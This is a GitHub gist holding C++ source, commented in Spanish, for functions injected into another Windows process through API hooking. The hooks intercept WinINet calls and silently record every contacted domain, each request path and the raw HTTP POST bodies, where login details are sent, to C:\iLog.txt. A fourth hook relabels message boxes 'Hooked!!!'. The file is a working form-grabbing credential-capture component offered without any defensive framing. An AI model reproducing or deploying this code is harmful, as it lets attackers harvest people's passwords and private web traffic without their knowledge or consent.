Skip to content

Instantly share code, notes, and snippets.

/inyectables.cc Secret

Created April 2, 2013 12:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/63c842a743a8ea49fea9 to your computer and use it in GitHub Desktop.
Save anonymous/63c842a743a8ea49fea9 to your computer and use it in GitHub Desktop.
/**
Funciones a inyectar
**/
#include <cstdio>
#include "injectables.h"
#include "hook_hot.h"
typedef int (__stdcall * pOMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
typedef HINTERNET (__stdcall * pOInternetConnect)(HINTERNET, LPCTSTR, INTERNET_PORT, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
typedef HINTERNET (__stdcall * pOHttpOpenRequest)(HINTERNET, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR*, DWORD, DWORD_PTR);
typedef BOOL (__stdcall * pOHttpSendRequest)(HINTERNET, LPCTSTR, DWORD, LPVOID, DWORD);
FARPROC WINAPI getUnhookedAddress(LPCSTR _module, LPCSTR _api){
HMODULE hModule;
FARPROC WINAPI originalAddr;
hModule = LoadLibrary(_module);
originalAddr = GetProcAddress(hModule, _api);
originalAddr += 2;
return originalAddr;
}
//--------------------//
// HOOKER FUNCTIONS //
//--------------------//
HINTERNET HookerInternetConnect(HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUsername, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext){
char *buff;
HANDLE hFile;
DWORD written_bytes;
HINTERNET hInternet_ret;
pOInternetConnect OInternetConnectA = pOInternetConnect(getUnhookedAddress("wininet.dll", "InternetConnectA"));
// save info into a file
buff = (char*)VirtualAlloc(NULL, 2048, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
sprintf(buff, "Dominio: %s\r\n", lpszServerName);
hFile = CreateFile("C:\\iLog.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buff, strlen(buff), &written_bytes, NULL);
VirtualFree(buff, 2048, MEM_RELEASE);
CloseHandle(hFile);
hInternet_ret = OInternetConnectA(hInternet, lpszServerName, nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext);
return hInternet_ret;
}
HINTERNET HookerHttpOpenRequest(HINTERNET hConnect, LPCTSTR lpszVerb, LPCTSTR lpszObjectName, LPCTSTR lpszVersion, LPCTSTR lpszReferer, LPCTSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext){
char *buff;
HANDLE hFile;
DWORD written_bytes;
HINTERNET hInternet_ret;
pOHttpOpenRequest OHttpOpenRequestA = pOHttpOpenRequest(getUnhookedAddress("wininet.dll", "HttpOpenRequestA"));
// save info into a file
buff = (char*)VirtualAlloc(NULL, 2048, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
sprintf(buff, "%s %s\r\n", lpszVerb, lpszObjectName);
hFile = CreateFile("C:\\iLog.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buff, strlen(buff), &written_bytes, NULL);
VirtualFree(buff, 2048, MEM_RELEASE);
CloseHandle(hFile);
hInternet_ret = OHttpOpenRequestA(hConnect, lpszVerb, lpszObjectName, lpszVersion, lpszReferer, lplpszAcceptTypes, dwFlags, dwContext);
return hInternet_ret;
}
BOOL HookerHttpSendRequest(HINTERNET hRequest, LPCTSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength){
char *buff;
HANDLE hFile;
BOOL bool_ret;
DWORD written_bytes;
pOHttpSendRequest OHttpSendRequestA = pOHttpSendRequest(getUnhookedAddress("wininet.dll", "HttpSendRequestA"));
// save info into a file
buff = (char*)VirtualAlloc(NULL, 10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
sprintf(buff, "Params: %s\r\n", lpOptional);
hFile = CreateFile("C:\\iLog.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buff, strlen(buff), &written_bytes, NULL);
VirtualFree(buff, 10000, MEM_RELEASE);
CloseHandle(hFile);
bool_ret = OHttpSendRequestA(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
return bool_ret;
}
int HookerMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType){
pOMessageBoxA OMessageBoxA = pOMessageBoxA(getUnhookedAddress("user32.dll", "MessageBoxA"));
int int_ret;
int_ret = OMessageBoxA(hWnd, lpText, "Hooked!!!", MB_OK|MB_ICONWARNING);
return int_ret;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment